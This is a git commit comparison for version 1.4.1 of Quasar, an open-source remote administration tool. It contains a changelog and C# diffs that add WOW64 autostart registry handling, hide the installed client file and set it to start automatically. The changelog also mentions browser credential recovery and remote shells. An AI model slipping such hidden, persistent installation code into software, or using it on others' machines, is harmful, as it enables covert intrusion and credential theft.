Compare commits

...

5 Commits

Author SHA1 Message Date
MaxXor bcca6010de Update copyright year 2023-03-12 17:15:09 +01:00
MaxXor b824795a4c Bump version and update changelog 2023-03-12 17:04:54 +01:00
MaxXor 1c7874e731 Correctly set attributes on client installation 2023-03-12 16:53:02 +01:00
MaxXor 81d225e798 Add missing WOW64 subsystem autostart locations (Fixes #905) 2023-03-12 16:27:03 +01:00
MaxXor 374a70fc4d Fix up- & download of empty files (Fixes #966) 2023-03-12 16:08:51 +01:00
13 changed files with 90 additions and 20 deletions

View File

@ -1,5 +1,17 @@
# Quasar Changelog
## Quasar v1.4.1 [12.03.2023]
* Added missing WOW64 subsystem autostart locations
* Fixed file transfers of files larger than 2 GB
* Fixed file transfers of empty files
* Fixed browser credentials recovery
* Fixed race condition on shutdown
* Fixed IP Geolocation
* Fixed opening remote shell sessions on non-system drives
* Fixed incorrectly set file attributes on client installations
* Fixed sorting of listview columns with numbers
* Updated dependencies
## Quasar v1.4.0 [05.06.2020]
* **Changed target framework to .NET Framework 4.5.2**
* **Changed license to MIT**

View File

@ -1,6 +1,6 @@
MIT License
Copyright (c) 2020 MaxXor
Copyright (c) 2023 MaxXor
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal

View File

@ -86,6 +86,28 @@ namespace Quasar.Client.Messages
}
}
}
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
foreach (var item in key.GetKeyValues())
{
startupItems.Add(new Common.Models.StartupItem
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunX86 });
}
}
}
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key != null)
{
foreach (var item in key.GetKeyValues())
{
startupItems.Add(new Common.Models.StartupItem
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnceX86 });
}
}
}
if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
{
var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles();
@ -136,6 +158,20 @@ namespace Quasar.Client.Messages
throw new Exception("Could not add value");
}
break;
case StartupType.LocalMachineRunX86:
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
{
throw new Exception("Could not add value");
}
break;
case StartupType.LocalMachineRunOnceX86:
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
{
throw new Exception("Could not add value");
}
break;
case StartupType.StartMenu:
if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
{
@ -196,6 +232,20 @@ namespace Quasar.Client.Messages
throw new Exception("Could not remove value");
}
break;
case StartupType.LocalMachineRunX86:
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
{
throw new Exception("Could not remove value");
}
break;
case StartupType.LocalMachineRunOnceX86:
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
{
throw new Exception("Could not remove value");
}
break;
case StartupType.StartMenu:
string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name);

View File

@ -10,7 +10,7 @@ using System.Runtime.InteropServices;
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Quasar")]
[assembly: AssemblyCopyright("Copyright © MaxXor 2020")]
[assembly: AssemblyCopyright("Copyright © MaxXor 2023")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
[assembly: InternalsVisibleTo("Client.Tests")]
@ -30,5 +30,5 @@ using System.Runtime.InteropServices;
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
// übernehmen, indem Sie "*" eingeben:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.4.0")]
[assembly: AssemblyFileVersion("1.4.0")]
[assembly: AssemblyVersion("1.4.1")]
[assembly: AssemblyFileVersion("1.4.1")]

View File

@ -16,14 +16,14 @@ namespace Quasar.Client.Setup
if (Settings.STARTUP)
{
var clientStartup = new ClientStartup();
clientStartup.AddToStartup(Application.ExecutablePath, Settings.STARTUPKEY);
clientStartup.AddToStartup(Settings.INSTALLPATH, Settings.STARTUPKEY);
}
if (Settings.INSTALL && Settings.HIDEFILE)
{
try
{
File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden);
File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden);
}
catch (Exception ex)
{

View File

@ -7,7 +7,7 @@ using System.Runtime.InteropServices;
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Quasar")]
[assembly: AssemblyCopyright("Copyright © MaxXor 2020")]
[assembly: AssemblyCopyright("Copyright © MaxXor 2023")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
@ -16,5 +16,5 @@ using System.Runtime.InteropServices;
[assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")]
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.4.0")]
[assembly: AssemblyFileVersion("1.4.0")]
[assembly: AssemblyVersion("1.4.1")]
[assembly: AssemblyFileVersion("1.4.1")]

View File

@ -6,6 +6,8 @@
LocalMachineRunOnce,
CurrentUserRun,
CurrentUserRunOnce,
StartMenu
StartMenu,
LocalMachineRunX86,
LocalMachineRunOnceX86
}
}

View File

@ -10,7 +10,7 @@ using System.Runtime.InteropServices;
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Quasar")]
[assembly: AssemblyCopyright("Copyright © MaxXor 2020")]
[assembly: AssemblyCopyright("Copyright © MaxXor 2023")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
[assembly: InternalsVisibleTo("Quasar.Common.Tests")]
@ -33,5 +33,5 @@ using System.Runtime.InteropServices;
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.4.0")]
[assembly: AssemblyFileVersion("1.4.0")]
[assembly: AssemblyVersion("1.4.1")]
[assembly: AssemblyFileVersion("1.4.1")]

View File

@ -123,6 +123,12 @@ namespace Quasar.Server.Forms
lstStartupItems.Groups.Add(
new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")
{Tag = StartupType.CurrentUserRunOnce});
lstStartupItems.Groups.Add(
new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")
{ Tag = StartupType.LocalMachineRunX86 });
lstStartupItems.Groups.Add(
new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")
{ Tag = StartupType.LocalMachineRunOnceX86 });
lstStartupItems.Groups.Add(new ListViewGroup("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup")
{Tag = StartupType.StartMenu});
}

View File

@ -294,7 +294,7 @@ namespace Quasar.Server.Messages
foreach (var chunk in transfer.FileSplit)
{
transfer.TransferredSize += chunk.Data.Length;
decimal progress = Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2);
decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal)((double)transfer.TransferredSize / (double)transfer.Size * 100.0), 2);
transfer.Status = $"Uploading...({progress}%)";
OnFileTransferUpdated(transfer);
@ -440,7 +440,7 @@ namespace Quasar.Server.Messages
return;
}
decimal progress = Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2);
decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2);
transfer.Status = $"Downloading...({progress}%)";
OnFileTransferUpdated(transfer);

View File

@ -10,7 +10,7 @@ using System.Runtime.InteropServices;
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Quasar")]
[assembly: AssemblyCopyright("Copyright © MaxXor 2020")]
[assembly: AssemblyCopyright("Copyright © MaxXor 2023")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
[assembly: InternalsVisibleTo("Server.Tests")]
@ -30,5 +30,5 @@ using System.Runtime.InteropServices;
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
// übernehmen, indem Sie "*" eingeben:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.4.0")]
[assembly: AssemblyFileVersion("1.4.0")]
[assembly: AssemblyVersion("1.4.1")]
[assembly: AssemblyFileVersion("1.4.1")]

View File

@ -273,7 +273,7 @@ namespace Quasar.Server.Properties {
/// <summary>
/// Looks up a localized string similar to MIT License
///
///Copyright (c) 2020 MaxXor
///Copyright (c) 2023 MaxXor
///
///Permission is hereby granted, free of charge, to any person obtaining a copy
///of this software and associated documentation files (the &quot;Software&quot;), to deal

View File

@ -211,7 +211,7 @@
<data name="License" xml:space="preserve">
<value>MIT License
Copyright (c) 2020 MaxXor
Copyright (c) 2023 MaxXor
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal